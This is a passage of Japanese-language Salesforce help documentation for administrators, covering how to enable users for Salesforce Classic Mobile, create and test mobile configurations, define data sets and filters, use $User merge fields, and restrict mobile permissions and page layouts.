ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile 設
定を変更する
• 「モバイル設定の管

理」

組織に Salesforce Classic Mobile アプリケーションをリリースする手順は、次のとお
りです。
1. モバイル導入のヒント集とベストプラクティスを確認します。
2. モバイルユーザを有効化します。
3. モバイル設定を 1 つ以上作成します。
4. モバイル設定のデータセットを定義します。
5. モバイル設定をテストします。
6. モバイルページレイアウトをカスタマイズし、モバイルユーザ権限を調整し

ます (省略可能)。
7. モバイルタブをカスタマイズします (省略可能)。
8. カスタムモバイルビューを作成します (省略可能)。
9. ダッシュボードを設定します (省略可能)。
10. モバイルレポートを設定します (省略可能)。
11. Salesforce CRM Content を設定します (省略可能)。
12. パートナーユーザにアクセスを設定します (省略可能)。
13. Web へのリンクおよび Visualforce Mobile ページを作成します (省略可能)。
14. Salesforce Classic Mobile がダウンロード可能になったことをユーザに通知しま

す。
ユーザが Salesforce Classic Mobile アプリケーションをダウンロードしてアカウント
を有効化すると、Salesforce Classic Mobile 管理コンソールでデバイスを管理できま
す。

関連トピック:

Salesforce Classic Mobile 設定の管理
Salesforce Classic Mobile デバイスの管理
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Salesforce Classic Mobile ユーザの有効化

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile 設
定を変更する
• 「モバイル設定の管

理」権限

ユーザの Salesforce Classic Mobile へのアクセスを有効にする手順は、次のとおりで
す。
1. ユーザのレコードの [Salesforce Classic Mobile ユーザ]チェックボッ

クスをオンにして、ユーザにモバイルライセンスを割り当てます。
2. Salesforce Classic Mobile ユーザが割り当てられている各カスタムプロファイル

を、「API の有効化」権限を持たせるように編集します。Salesforce Classic Mobile

ユーザには、そのモバイルデバイスが Salesforce と通信できるように、API へ
のアクセス権が必要です。「API の有効化」権限は、標準プロファイルにつ
いては、デフォルトで有効になっています。

メモ: Android および iPhone アプリケーションは、英語、日本語、フランス
語、ドイツ語、スペイン語で使用できます。組織で Salesforce Classic Mobileを
有効にするには、Salesforce にお問い合わせください。

アプリケーションをリリースする準備を整えるまで、ユーザがモバイルデバイ
スで Salesforce Classic Mobile を有効にできないようにするには、すべてのユーザに
対して [Salesforce Classic Mobile ユーザ] チェックボックスをオフにし
ます。

メモ: モバイル設定が割り当てられているユーザに対してこのチェックボッ
クスをオフにすると、Salesforce はモバイル設定からそのユーザを削除し、
ユーザをデフォルトのモバイル設定に割り当てます。

Salesforce Classic Mobileの無料バージョンは、Summer '16 より前にこのオプションを
有効にした組織のみ使用できます。Summer '16 では、これ以外のすべての組織
(新規または既存) にこのオプションは表示されません。

関連トピック:

Salesforce Classic Mobile の設定
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Salesforce Classic Mobile 設定の作成

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile 設
定を作成、変更、または
削除する
• 「モバイル設定の管

理」権限

モバイル設定とは、Salesforceがユーザのモバイルデバイスに転送するデータと、
そのデータをモバイルデバイスで受信するユーザを決定するパラメータのセッ
トです。複数のモバイルユーザの異なるニーズを同時に満たせるように、組織
で複数のモバイル設定を作成できます。たとえば、あるモバイル設定ではリー
ドと商談を営業部門に送信し、別の設定ではケースをカスタマーサポート担当
者に送信する、というように設定できます。
モバイル設定を作成する前に、各設定にどのプロファイルとユーザを割り当て
るか計画してください。各モバイル設定は、それを割り当てたユーザのモバイ
ルデバイスにのみ影響します。
モバイル設定を作成する手順は、次のとおりです。
1. 基本情報を入力する
2. ユーザとプロファイルを割り当てる
3. 合計データサイズの制限を設定する
4. モバイル設定を完了する

メモ: Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、
および Developer Edition を使用している組織には、デフォルトのモバイル設
定が提供されています。デフォルトの設定の参照や編集はできません。

基本情報の入力
1. [設定] から、[クイック検索] ボックスに「Salesforce Classic 設定」と

入力し、[Salesforce Classic 設定] を選択してモバイル設定リストページにアク
セスします。

2. [新規モバイル設定] をクリックします。
3. モバイル設定の名前を入力します。
4. モバイル設定を作成してすぐ有効にする場合は、[有効] チェックボックス

をオンにします。モバイル設定は、このチェックボックスをオンにするまで
は機能しません。
有効なモバイル設定を無効にすると、Salesforce は、モバイル設定に割り当て
られたユーザのデバイスからのすべてのリクエストを最長 1 週間保存しま
す。モバイル設定を再度有効化すると、Salesforce は保存してあった申請を受
信した順に実行します。

5. 必要に応じて、モバイル設定の説明を入力します。
6. 必要に応じて、[最近使ったデータのモバイル利用] チェックボックスをオン

にして、Salesforce で最近使用したレコードにデバイス同期化のマークを付けます。
このオプションを選択すると、その設定に割り当てられたモバイルユーザは、Salesforce で最近アクセスし
たレコードが構成の検索条件を満たしていない場合でも、それらの項目を検索してダウンロードする必要
がなくなります。デバイス同期化のマークを付けることができるのは、モバイル化されたオブジェクトに
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属するレコードのみです。たとえば、設定時に取引先オブジェクトをモバイル化しない場合、その設定に
割り当てられたユーザは最近使用した取引先を自分のデバイスで自動的に受信することはできません。

7. [最近使ったデータのモバイル利用] チェックボックスをオンにしている場合は、[最近使ったデータの最大
数] ドロップダウンリストから値を選択します。ユーザのモバイルデバイス上の空きスペースが少ない場
合は、小さな数を設定してください。

8. 必要に応じて、[フォローされるレコードのモバイル化] チェックボックスをオンにし、ユーザが Chatter で
フォローしているレコードを自動的にモバイルデバイスに同期します。デバイスでは、モバイル設定のデー
タセットに含まれているオブジェクトでフォローされているレコードのみを同期します。
[フォローされるレコードのモバイル化] チェックボックスは、組織で Chatter が有効になっている場合にの
み表示されます。

ユーザとプロファイルの割り当て
個々のユーザとプロファイルをそれぞれのモバイル設定に割り当てることができます。プロファイルをモバイ
ル設定に割り当てると、特定のユーザを他のモバイル設定に割り当てない限り、そのプロファイルを持つすべ
ての Salesforce Classic Mobile ユーザにそのモバイル設定が適用されます。

ヒント: 管理を容易にするために、モバイル設定をプロファイルに割り当てることをお勧めします。ただ
し、直接個別のユーザに設定を割り当てることが必要な場合もあります。

ユーザとプロファイルをモバイル設定に割り当てる手順は、次のとおりです。
1. [検索] ドロップダウンリストから、追加するユーザまたはプロファイルの種別を選択します。このドロッ

プダウンリストは、いずれかのユーザレコードで [モバイルユーザ]チェックボックスがオンになっていな
いと表示されません。また、すでにすべてのユーザがモバイル設定に割り当てられている場合は、プロファ
イルのみ割り当てることができます。

2. 追加するメンバーがすぐ見つからない場合は、検索ボックスにキーワードを入力し、[検索] をクリックし
ます。

3. [選択可能なユーザ] ボックスからユーザとプロファイルを選択し、[追加] 矢印をクリックすると、モバイ
ル設定に追加されます。
各ユーザとプロファイルは 1 つのモバイル設定にのみ割り当てることができます。
[選択可能なユーザ] ボックスには、[モバイルユーザ] チェックボックスが有効になっているユーザのみ表
示されます。

4. [割り当てられたユーザ] ボックスに、このモバイル設定には割り当てないユーザまたはプロファイルがあ
る場合、そのユーザを選択して、[削除] 矢印をクリックします。

警告: 有効なモバイル設定からユーザを削除すると、Salesforce 関連データをユーザのモバイルデバイ
スから削除しますが、クライアントアプリケーションは削除しません。

合計データサイズの制限の設定
モバイルデバイスの種類によっては、メモリ容量が異なり、フラッシュメモリを使い切ってしまうと、深刻な
問題が発生するデバイスもあります。モバイルデバイスの過負荷を回避するには、必要に応じて各モバイル設
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定の合計データサイズの制限を指定します。合計データサイズを制限することにより、Salesforceはそのモバイ
ル設定に割り当てられたユーザのモバイルデバイスに過剰なデータを送信しなくなります。
合計データサイズの制限を設定するには、[データサイズの最大値]ドロップダウンリストを使用して、このモ
バイル設定に割り当てられているユーザのモバイルデバイス上で常時使用可能なメモリ量を指定します。すべ
てのデータセットを合わせたサイズが制限を超えると、このプロファイルに割り当てられているユーザはモバ
イルデバイスでエラーメッセージを受け取り、Salesforceはこのモバイル設定のデータセットの同期を行いませ
ん。モバイル設定をテストして、データセットが合計データサイズの制限を超えないようにしてください。

ヒント: データのサイズを削減するには、次の処理を 1 つ以上実行します。
• データセットを削除する。
• データセットの範囲を縮小する。
• データセットの検索条件を見直す。

モバイル設定の完了

[保存]をクリックします。[有効]チェックボックスをオンにするまでは、モバイル設定は有効になりません。

関連トピック:

Salesforce Classic Mobile 設定の管理
データセットの定義
Salesforce Classic Mobile の設定
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データセットの定義

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

モバイルデータセットを
表示する
• 「設定・定義を参照す

る」

モバイルデータセットを
作成、変更、または削除
する
• 「モバイル設定の管

理」権限

モバイルデバイスから Salesforce へのアクセスは、コンピュータからアクセスす
る場合とは大きく異なります。これは、モバイルデバイスが一般に、コンピュー
タに比べてメモリが少なく、画面サイズも小さく、ネットワークへの常時接続
を行わないためです。こうした制限に合わせて、各モバイル設定では、Salesforce

のオンラインユーザインターフェースでアクセスするレコードのサブセットデー
タのみを転送します。モバイルデバイスは、データセットをオンボードデータ
ベースに保存し、ネットワーク接続ができない場合でも、重要情報をもつレコー
ドにアクセスしてオフラインで作業ができるようにします。Salesforce は、モバ
イルデバイスのネットワーク接続が復活すると、自動的にオンボードデータベー
スを同期します。
各データセットは、1 つのオブジェクトに関連する複数のレコードを含めること
ができ、そのオブジェクトの名前で分類されます。たとえば、取引先データセッ
トには、取引先レコードが含まれます。
データセットは、指定したデータセット (親データセット) に関連する下位のレ
コードのデータセット (子データセット) を含めることができます。たとえば、
階層の最初のレベルに「取引先」データセットを指定し、その取引先レコード
に関連する取引先責任者レコードを含む「取引先責任者」のデータセットを下
位に追加することができます。下位のデータセットは、関連リストとしてモバ
イルデバイスに表示されます。
1 つのモバイル設定内に、同じオブジェクトに対し複数のデータセットを異なる
レベルで持つことができます。たとえば、[リード] の下位に [行動] のデータセッ
トを設定したり [行動] の下位に [リード] のデータセットを持つことができます。
モバイル設定を作成したら、そのデータセットを定義する必要があります。モ
バイル設定のデータセットにアクセスする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Salesforce Classic 設定」と

入力し、[Salesforce Classic 設定] を選択します。次に、変更するモバイル設定
の名前をクリックします。

2. [データセット] 関連リストで、[編集] をクリックします。
3. [データセット] ページから、次の操作が可能です。

• データセットを追加する。
• データセットを選択して[削除]をクリックし、データセットを削除する。
• 階層内でデータセットを選択し、データセットを編集する。右ペインに

は、そのデータセットの検索条件が表示されます。
• モバイル設定をテストする。
データセット定義の変更内容は、Salesforce で自動的に保存されます。

4. 終了後、[完了] をクリックします。

データセットの追加
データセットを追加する手順は、次のとおりです。
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1. 階層内で、[データセット]を選択して親データセットを作成するか、既存のデータセットを選択して子デー
タセットを作成します。

2. [追加...] をクリックします。
3. ポップアップウィンドウで、そのデータセットに含めるレコードのオブジェクトを選択します。Salesforce

では、すべてのカスタムオブジェクトと次の標準オブジェクトに対して、親データセットを作成できます。
• 取引先
• 納入商品
• 添付ファイル
• ケース
• 取引先責任者
• コンテンツ
• 行動
• リード
• メモ
• 商談
• 価格表
• 商品
• ソリューション
• ToDo

• ユーザ

メモ:

• 添付ファイルはデータセットとして使用可能ですが、Salesforce Classic Mobile for Android でのみサポー
トされています。

• Salesforce Classic Mobileは、選択リストと複数選択リストのみのデフォルト項目値をサポートします。
チェックボックスや数値項目などの他の項目のデフォルト項目値は、Salesforce Classic Mobile に表示
されません。

既存のデータセットに追加すると、ポップアップウィンドウに選択したオブジェクトに関連するオブジェ
クトが表示されます。これには、子オブジェクト、および選択したオブジェクトと主従関係または参照関
係を持つ親オブジェクトが含まれます。
たとえば、取引先責任者オブジェクトと参照関係を持つ主取引先責任者という名前の取引先項目を作成し
たとします。このとき、モバイル設定の最上位データセットとして取引先を追加し、取引先の下位に取引
先責任者を追加すると、次の 2 セットの取引先責任者が表示されます。
• 取引先責任者: 特定の取引先とその取引先責任者オブジェクトの間の標準的なリレーションを表します。
• 取引先責任者 (取引先によって参照される): 選択したオブジェクトと主従関係または参照関係を持つすべ

ての親オブジェクトを表します。この場合、取引先責任者オブジェクトは、取引先オブジェクトの主取
引先責任者項目によって参照されます。
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Salesforce では、上記の 2 種類のリレーションが区別されるようになったため、たとえば、デバイスに子取
引先責任者レコードを送信することなく、取引先カスタム項目によって参照される取引先責任者だけをモ
バイル化することができます。

4. [OK] をクリックします。作成したデータセットが階層内に表示されます。
5. 必要に応じて、条件を設定して、親または子のデータセットに含まれるレコードを制限します。

a. [所有者別に絞り込み] オプションを使用して、Salesforce がレコードの所有者に基づいて自動的にレコー
ドの同期を行うように設定します。使用可能な選択肢は次のとおりです。
• すべてのレコード: Salesforce は、ユーザがアクセスできるすべてのレコードを自動的に同期します。

モバイル設定で親データセットに指定されている ToDo や行動については、[すべてのレコード] オプ
ションは使用できません。こうすることで、活動の条件検索に時間がかかりすぎることによってデー
タの同期が失敗するのを防ぎます。

• ユーザのレコード: Salesforce は、ユーザが所有するすべてのレコードを自動的に同期します。
• ユーザのチームのレコード: Salesforceは、ユーザとロール階層内でそのユーザの下位にあるユーザが所

有するすべてのレコードを自動的に同期します。
• ユーザの取引先チームのレコード: Salesforceは、そのユーザが取引先チームのメンバーである取引先を

自動的に同期しますが、そのユーザが所有する取引先は含まれません。
• ユーザの商談チームのレコード: Salesforceは、そのユーザが商談チームのメンバーである商談を自動的

に同期しますが、そのユーザが所有する商談は含まれません。
• なし (検索のみ): Salesforce は、このデータセットのレコードを自動的には同期しません。ただし、

ユーザはモバイルデバイスを使用してアクセス可能なすべてのレコードを検索できます。
Salesforce では、選択したデータセットに関連するオプションのみが表示されます。たとえば、取引先
データセットを選択すると、[ユーザの取引先チームのレコード]オプションが表示され、商談データセッ
トを選択すると、[ユーザの商談チームのレコード] オプションが表示されます。
あるオブジェクトに対するモバイルのニーズで、使用可能なレコードの所有者条件を組み合わせる必要
がある場合、同じオブジェクトデータセットを同じ階層レベルに最大 4 回まで追加できます。たとえ
ば、ある営業マネージャが、自分の商談、自分の部下が所有する商談、および自分が商談チームメン
バーである商談を同期するとします。この場合は、商談データセットを追加して、[ユーザのチームのレ
コード]を選択します。次に、2 番目の商談データセットをその階層の同一レベルで選択し、[ユーザの
商談チームのレコード] を選択します。ケースコメントなど、所有者条件オプションが 1 つだけのオブ
ジェクトの場合には、階層の同一レベルで複数回追加することができません。

b. [所有者別に絞り込み] で選択した条件に加えて、特定の条件にも一致するレコードだけを自動的に同期
するよう設定します。たとえば、条件は、金額が $50,000 を超える商談レコード、または、役職が「ディ
レクター」の取引先責任者レコードだけを含むように設定できます。

c. 1 つのデータセットによってモバイルデバイス上のすべてのメモリを使い切ってしまうことのないよう、
[レコードの上限数を設定] で 2 番目のラジオボタンを選択し、このデータセットがモバイルデバイスに
転送できるレコードの最大数を入力します。[並び替えの基準] および [並び替え] ドロップダウンリスト
を使用して、データサイズの制限を超えた場合に同期されるレコードを指定します。
制限に達している場合、Salesforceは、現在モバイルデバイス上にあるレコードを約 20 分ごとに更新し、
また約 24 時間ごとに [並び替えの基準] と [並び替え] 設定に従ってレコードを置き換えます。たとえば、
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設定が [最終更新日] の [降順] になっている場合、Salesforce は、最後に変更されたレコードをモバイルデ
バイスに転送し、同数の最近変更されていないレコードを削除します。
[所有者別に絞り込み] オプションで [なし (検索のみ)] を選択した場合、自動的に同期されるレコード
がないため、設定した制限は適用されません。

ヒント: 検索条件の代わりに [レコードの上限数を設定] を使用しないでください。[レコードの上限
数を設定] は、安全確保のためにのみ使用し、検索条件はモバイルデバイス上のレコード数を制限
することを主目的として使用してください。それにより、モバイルユーザはデバイスに適正なレ
コードを受信するようになります。

モバイルデバイスのメモリ制限のため、Salesforceでは、1 つのクエリに対して 2,500 を超えるレコードを
返すことができないようになっています。

6. 必ずモバイル設定をテストして、データが合計データサイズの制限を超えないようにしてください。
7. [完了] をクリックします。

関連トピック:

Salesforce Classic Mobile での外出先での生産性サポート
Salesforce Classic Mobile 設定の管理
Salesforce Classic Mobile の設定
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モバイル検索条件の差し込み項目

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

$User 差し込み項目の中には、モバイル設定用の検索条件とモバイルカスタム
ビューを定義するときに使用可能なものがあります。モバイル設定では、これ
らの差し込み項目を使用して、ユーザがレコード所有者ではなくレコードにリ
ンクされているだけの場合でもレコードを同期化できます。たとえば、モバイ
ルユーザが作成したケースや、モバイルユーザがカスタム項目で参照されてい
るケースをモバイルデバイスに送信できます。モバイルビューでは、差し込み
項目を使用して、レコード所有者に基づいてビューを定義できます。たとえば、
「見込み有り」という評価の付いている現在のユーザの取引先を表示するビュー
を作成できます。
次の表は、使用可能なユーザ差し込み項目を示しています。

説明差し込み項目

ユーザの ID を参照します。この差し込
み項目は、ユーザ参照項目に適用でき
ます。この差し込み項目に対して有効
な演算子は [次の文字列と一致する] と
[次の文字列と一致しない] です。所有
者項目を参照するモバイルビューの条
件を作成する場合は、$User.ID 差し
込み項目のみを使用できます。

$User.ID

ユーザのユーザ名を参照します。この
差し込み項目は、選択リストを除くテ
キスト系またはルックアップ系の項目
に適用できます。この差し込み項目に
対して有効な演算子は [次の文字列と
一致する]、[次の文字列と一致しな

$User.Username

い]、[>]、[>=]、[<]、[<=]、[次の文字列
を含む]、[次の文字列を含まない]、お
よび [次の文字列で始まる] です。

ユーザの名を参照します。この差し込
み項目は、選択リストを除くテキスト

$User.Firstname

系またはルックアップ系の項目に適用
できます。この差し込み項目に対して
有効な演算子は [次の文字列と一致す
る]、[次の文字列と一致しない]、[>]、
[>=]、[<]、[<=]、[次の文字列を含む]、
[次の文字列を含まない]、および [次の
文字列で始まる] です。

ユーザの姓を参照します。この差し込
み項目は、選択リストを除くテキスト

$User.Lastname

系またはルックアップ系の項目に適用
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説明差し込み項目

できます。この差し込み項目に対して有効な演算子は
[次の文字列と一致する]、[次の文字列と一致しない]、
[>]、[>=]、[<]、[<=]、[次の文字列を含む]、[次の文字
列を含まない]、および [次の文字列で始まる] です。

ユーザの姓名を参照します。この差し込み項目は、選
択リストを除くテキスト系またはルックアップ系の項

$User.Fullname

目に適用できます。この差し込み項目に対して有効な
演算子は [次の文字列と一致する]、[次の文字列と一致
しない]、[>]、[>=]、[<]、[<=]、[次の文字列を含む]、
[次の文字列を含まない]、および [次の文字列で始ま
る] です。

関連トピック:

Salesforce Classic Mobile 設定の管理
Salesforce Classic Mobile での外出先での生産性サポート
データセットの定義
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Salesforce Classic Mobile 設定のテスト

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile
データセットを参照する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile 設
定をテストする
• 「モバイル設定の管

理」

Salesforce Classic Mobile 設定を作成するときは、設定の合計データサイズの制限を
指定します。合計データサイズを制限することにより、Salesforce はそのモバイ
ル設定に割り当てられたユーザのモバイルデバイスに過剰なデータを送信しな
くなります。データセットを定義した後には、モバイル設定をテストして、合
計データサイズ制限を超えないことを確認することが重要です。
モバイル設定によってユーザのデバイスに送信されるデータセットのサイズを
見積もる手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Salesforce Classic 設定」と

入力し、[Salesforce Classic 設定] を選択します。次に、テストするモバイル設
定の名前をクリックします。

2. [データセット] 関連リストで、[編集] をクリックします。
3. [テストデータサイズ] セクションで [ユーザの選択] 項目の横にあるルック

アップアイコンをクリックして、テストするユーザを選択します。モバイル
設定に割り当てることができるのはモバイルを有効にしているユーザのみで
すが、設定のデータサイズのテストについては、どのユーザに対しても行え
ます。
[ユーザの選択]項目のデフォルト値は、現在ログインしているユーザの名前
になっています。ただし、モバイル設定のテストは、実際にその設定に割り
当てられることになるユーザ、とりわけ多数のレコードを所有しているユー
ザに対して行うことが重要です。

4. [メタデータを含める] チェックボックスをオンにして、見積にメタデータを
含めます。メタデータは、ページレイアウトとスキーマ情報で構成されてお
り、デバイスに送信されるメタデータ量は組織の規模と設定の複雑さによっ
ては非常に大きくなる場合があります。

警告: Salesforce でデータサイズに加えてメタデータサイズを計算する場
合、時間がかかることがあります。また、テスト結果にはメタデータを
表示しないよう選択しても、モバイルデバイスとSalesforceを同期すると
きにはメタデータが合計データサイズに加算されます。

5. [データサイズの見積り] をクリックします。
各データセットのサイズが計算されます。結果は、ページ上部の左ペインの
データセット領域の階層ツリーに表示されます。また、階層の下にある [テ
ストデータサイズ] セクションにも結果が表示されます。
• 階層ツリーでは、各データセットの横に 2 つの数字が表示されます。1 つ

目は、データセットによって生成されたレコードの数を示し、2 つ目は
データセットの合計サイズ (バイトまたはキロバイト) を示します。この情報は、検索条件を増やしてサ
イズを減らす必要があるデータセットを見分ける場合に役立ちます。

• [テストデータサイズ] セクションには、現在のモバイル設定により選択したユーザデバイスに配信され
るデータの見積が表示されます。
– 各オブジェクトのデータセット内のレコードのサイズと数。
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– レコードの合計サイズと合計数。データセット内のレコードおよびマーク済みレコードを含みます。
マーク済みレコードは、ユーザのモバイル設定に含まれないレコードです。マーク済みレコードを
データセットに含める方法は 2 つあります。
• ユーザがオンライン検索によってデバイスにレコードをダウンロードすると、そのレコードには

フラグが付けられ、デバイスがSalesforceと同期するたびに、そのレコードがユーザのデバイスに
送信されます。

• ユーザのデータセットのレコードには、モバイル設定の検索条件に一致しないレコードへの参照
項目が含まれます。Salesforce は、参照項目で参照されるレコードを同期させ、ユーザがモバイル
アプリケーションで無効なリンクに遭遇することを防ぎます。

ヒント: 正確なマーク済みレコード数を得るには、データサイズの見積をする前に、モバイ
ルアプリケーションのデータを同期します。データを同期する手順は、次のとおりです。
– Android デバイスの場合は、[アプリケーション情報] > [Sync Now] > [すべてのデータを更新]

をタップします。
– iPhone デバイスの場合は、[さらに表示]、[アプリケーションの情報]の順にタップします。

[Sync Now] をタップし、[すべてのデータを更新] をタップします。

– [メタデータを含める]チェックボックスをオンにした場合、そのユーザのデバイスに送信されるメタ
データのサイズ。

– モバイル化されたデータセットの合計。すべてのレコードの合計です。
• レポートはデータサイズの見積には含まれません。

6. テストの結果を、設定した合計データサイズ制限と比較します。サイズ制限は、[テストデータサイズ] セ
クションの上部に表示されています。[モバイル設定の編集] ページでサイズ制限をクリックして、値を増
やしたり減らしたりします。
• 合計データサイズが制限を下回る場合、選択したユーザを安全にモバイル設定に割り当てることができ

ます。ただし、デバイスによって異なるストレージアルゴリズムを使用しているため、このテスト結果
はあくまで見積であることに留意してください。

• 合計データサイズが制限を上回る場合は、データセットのスコープの縮小、データセットの検索条件の
絞り込み、データセットの削除、またはモバイルページレイアウトからの項目の削除などを行うこと
で、データのサイズを減らします。データの合計が制限を下回るまで、このテストプロセスを繰り返し
ます。

メモ:  [テストデータサイズ] セクションのデータサイズの見積は、データセットを編集しても自動
的に更新されません。テスト結果を更新するには、[データサイズの更新] をクリックします。

関連トピック:

Salesforce Classic Mobile での外出先での生産性サポート
Salesforce Classic Mobile 設定の管理
Salesforce Classic Mobile デバイスの管理
Salesforce Classic Mobile の設定
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Salesforce Classic Mobile のオブジェクトプロパティの編集

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

有料オプションでモバイ
ルアプリケーションを使
用可能なエディション:
2016 年 5 月 1 日より前に
作成された組織の
Professional Edition および
Enterprise Edition

モバイルアプリケーショ
ンは、Winter '17 以降に作
成された組織では使用で
きません。

ユーザ権限

Salesforce Classic Mobile 設
定を表示する
• 「設定・定義を参照す

る」

Salesforce Classic Mobile オ
ブジェクトプロパティを
編集する
• 「モバイル設定の管

理」

Salesforce Classic Mobile アプリケーション内の標準オブジェクトおよびカスタムオ
ブジェクトのプロパティを変更できます。たとえば、Salesforce Classic Mobile ユー
ザの権限を制限したり、オブジェクトのモバイルページレイアウトから不要な
項目を除外したりできます。
Salesforce Classic Mobile オブジェクトプロパティは、モバイル設定ごとにカスタマ
イズされます。モバイルオブジェクトのプロパティを編集する手順は、次のと
おりです。
1. [設定] から、[クイック検索] ボックスに「Salesforce Classic 設定」と

入力し、[Salesforce Classic 設定] を選択します。
2. 変更するモバイル設定の名前をクリックします。
3. [モバイルオブジェクトのプロパティ] 関連リストで、オブジェクト名の横に

ある [編集] をクリックします。
関連リストには、設定のデータセットでモバイル化を指定したオブジェクト
のみが表示されます。ユーザオブジェクトのプロパティを変更することはで
きません。

4. [モバイル設定の編集] ページから、次の操作が可能です。
• モバイル権限の削除
• Salesforce Classic Mobile ページレイアウトのカスタマイズ

5. [保存] をクリックします。

モバイル権限の削除
Salesforce Classic Mobile アプリケーションでは、Salesforce のユーザ権限が継承され
ます。アプリケーションの制限やユーザエラーの可能性を考慮して、システム
管理者が Salesforce Classic Mobile での Salesforce データへのアクセス時にユーザの権
限をさらに制限する場合もあります。たとえば、Salesforce Classic Mobile でレコー
ドを削除すると Salesforce のレコードも削除されることを認識せずに、ユーザが
不注意でレコードを削除する可能性があります。このような考慮事項がある場
合、システム管理者は、Salesforce の標準およびカスタムオブジェクトに対する
権限に関係なく、ユーザによるモバイルアプリケーションでのレコードの削除
を防止できます。また、Salesforce Classic Mobileでは、SコントロールやApexなど、
すべての Salesforce 機能をサポートしているわけではありません。オブジェクト
に対するビジネスプロセスが Salesforce Classic Mobile でサポートされていない場
合、モバイルユーザによるアプリケーションでのレコードの更新を防止するこ
とも選択できます。
[権限] セクションで、このオブジェクトについてモバイルユーザから削除する権限を選択します。[作成を拒
否]、[編集を拒否]、または [削除を拒否]チェックボックスを使用して、ユーザがSalesforce Classic Mobileでレコー
ドを作成、編集、または削除できないようにします。

メモ: 現在、コンテンツオブジェクトのモバイル権限はブロックできません。
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Salesforce Classic Mobile ページレイアウトのカスタマイズ
Salesforce Classic Mobileアプリケーションでは、Salesforceのユーザのページレイアウトが継承されます。不必要な
項目によってメモリが消費されると、モバイルデバイス上でユーザがページをスクロールしていくのが困難に
なるため、システム管理者が各オブジェクトのモバイルページレイアウトから一部の項目を除外するほうが望
ましい場合があります。
[除外項目] セクションで、このオブジェクトでモバイルデバイスに表示する項目を選択します。項目を追加ま
たは削除するには、項目名を選択してから [追加] または [削除] 矢印をクリックします。
• システム管理者は、項目レベルセキュリティに関係なく、オブジェクトごとに使用可能なすべての項目を

参照できます。
• Salesforce Classic Mobile が Salesforce と通信するには、特定の項目が必須です。そのような必須項目は、モバイ

ルページレアウトから除外できないため、[選択可能な項目] ボックスには表示されません。
• モバイルカスタムビューで使用されている項目をモバイルページレイアウトから除外することはできませ

ん。
• コンテンツオブジェクトをモバイル化すると、コンテンツオブジェクトのすべての項目が [選択可能な項目]

ボックスに表示されますが、Salesforce Classic Mobile アプリケーションのコンテンツの詳細ページのレイアウ
トは、いくつかの項目のみを表示するようにハードコードされています。コンテンツオブジェクトの項目
を除外しても、アプリケーションのページレイアウトには影響ありません。

関連トピック:

Salesforce Classic Mobile での外出先での生産性サポート
Salesforce Classic Mobile 設定の管理
Salesforce Classic Mobile タブの管理
Salesforce Classic Mobile 用の Web ページと Visualforce Mobile ページへのリンクの作成
Salesforce Classic Mobile の設定
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Salesforce Classic Mobile 設定へのタブの割り当て

エディション

Salesforce Classic Mobile 設
定を使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

モバイルアプリケーショ
ンを使用可能なエディ
ション: Winter '17 より前に
作成された組織の
Performance Edition、
Unlimited Edition、および
Developer Edition

